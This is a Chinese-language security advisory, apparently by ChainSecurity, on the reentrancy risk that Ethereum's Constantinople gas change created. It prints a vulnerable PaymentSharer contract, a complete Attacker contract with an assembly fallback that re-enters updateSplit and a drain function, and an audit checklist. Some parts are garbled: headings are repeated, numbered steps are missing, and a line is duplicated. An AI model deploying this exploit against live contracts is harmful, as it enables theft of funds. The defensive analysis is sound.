一級標題
一級標題
一級標題
pragma solidity ^0.5.0;
contract PaymentSharer {
mapping(uint => uint) splits;
mapping(uint => uint) deposits;
mapping(uint => address payable) first;
mapping(uint => address payable) second;
function init(uint id, address payable _first, address payable _second) public {
require(first[id] == address(0) && second[id] == address(0));
require(first[id] == address(0) && second[id] == address(0));
first[id] = _first;
second[id] = _second;
}
function deposit(uint id) public payable {
deposits[id] += msg.value;
}
function updateSplit(uint id, uint split) public {
require(split <= 100);
splits[id] = split;
}
function splitFunds(uint id) public {
// Here would be:
// Signatures that both parties agree with this split
// Split
address payable a = first[id];
address payable b = second[id];
uint depo = deposits[id];
deposits[id] = 0;
a.transfer(depo * splits[id] / 100);
b.transfer(depo * (100 - splits[id]) / 100);
}
}
這段代碼出了什麼問題?
以下是一個簡短的智能合約,在Constantinople之前不易受到重入攻擊,但之後卻可以。您可以在我們的Github上找到完整的源代碼,包括攻擊者合約。
pragma solidity ^0.5.0;
import "./PaymentSharer.sol";
contract Attacker {
address private victim;
address payable owner;
constructor() public {
owner = msg.sender;
}
function attack(address a) external {
victim = a;
PaymentSharer x = PaymentSharer(a);
x.updateSplit(0, 100);
x.splitFunds(0);
}
function () payable external {
address x = victim;
assembly{
mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
}
}
function drain() external {
owner.transfer(address(this).balance);
}
}
<新的易受攻擊代碼的示例>
該代碼以一種意想不到的方式受到攻擊:它模擬一種安全的資金均攤服務。雙方可以共同接收資金,決定如何split資金以及接收支付。攻擊者可以創建這樣一對地址,其中第一個地址是以下列出的攻擊者合約,第二個地址是任何攻擊者賬戶。該攻擊者將充值一些錢。
<攻擊者合約列為第一個地址>
該攻擊者將調用自己合約的attack函數,以便在一個交易中披露以下的事件:
1、攻擊者使用updateSplit設置當前split,以確保後續升級是便宜的。這是Constantinople升級的結果。攻擊者以這樣的方式設置split,即第一個地址(合約地址)接收所有的資金。
4、splitFunds的執行繼續,全部存款也轉到第二個攻擊者賬戶。
一級標題
一級標題
一級標題
為什麼現在可以攻擊?
在Constantinople之前,每個storage操作都需要至少5000gas。這遠遠超過了使用transfer或send來調用合約時發送的2300gas費。
在Constantinople之後,正在改變“dirty”存儲槽的storage操作僅需要200gas。要使存儲槽變的dirty,必須在正在進行的交易期間更改它。如上所示,這通常可以通過攻擊者合約調用一些改變所需變量的public函數來實現。然後,通過使易受攻擊的合約調用攻擊者合約,例如,使用msg.sender.transfer(...),攻擊者合約可以使用2300gas費成功操縱漏洞合約的變量。
必須滿足某些先決條件才能使合同變得易受攻擊:
1.必須有一個函數A,函數中transfer/send之後,緊跟狀態改變操作。這有時可能是不明顯的,例如第二次transfer或與另一個智能合約的互動。
2. 攻擊者必須能夠訪問一個函數B,它可以(a)改變狀態, (b)其狀態變化與函數A的狀態發生衝突。
3.函數B需要在少於1600gas時能執行(2300gas費- 為CALL提供700gas)。
我的合約是否易受攻擊?
要測試您是否容易受到攻擊:
(a)檢查transfer事件後是否有任何操作。
(b)檢查這些操作是否改變了存儲狀態,最常見的是分配一些存儲變量。如果你調用另一個合約,例如,token的transfer方法*,檢查哪些變量被修改。做一個列表。
(c)檢查合約中非管理員可以訪問的任何其他方法是否使用這些變量中的一個。
(d)檢查這些方法是否自行改變存儲狀態。
(e)檢查是否有低於2300gas的方法,請記住SSTORE操作只有200gas。
如果出現這種情況,攻擊者很可能會導致您的合約陷入不良狀態。總的來說,這是另一個提醒,即為什麼Checks-Effects-Interactions模式如此重要。
最新的Trinity客戶端(v0.1.0-alpha.20)
| 作者:ChainSecurity
以太坊錢包/迷霧的最新版本(v0.11.1)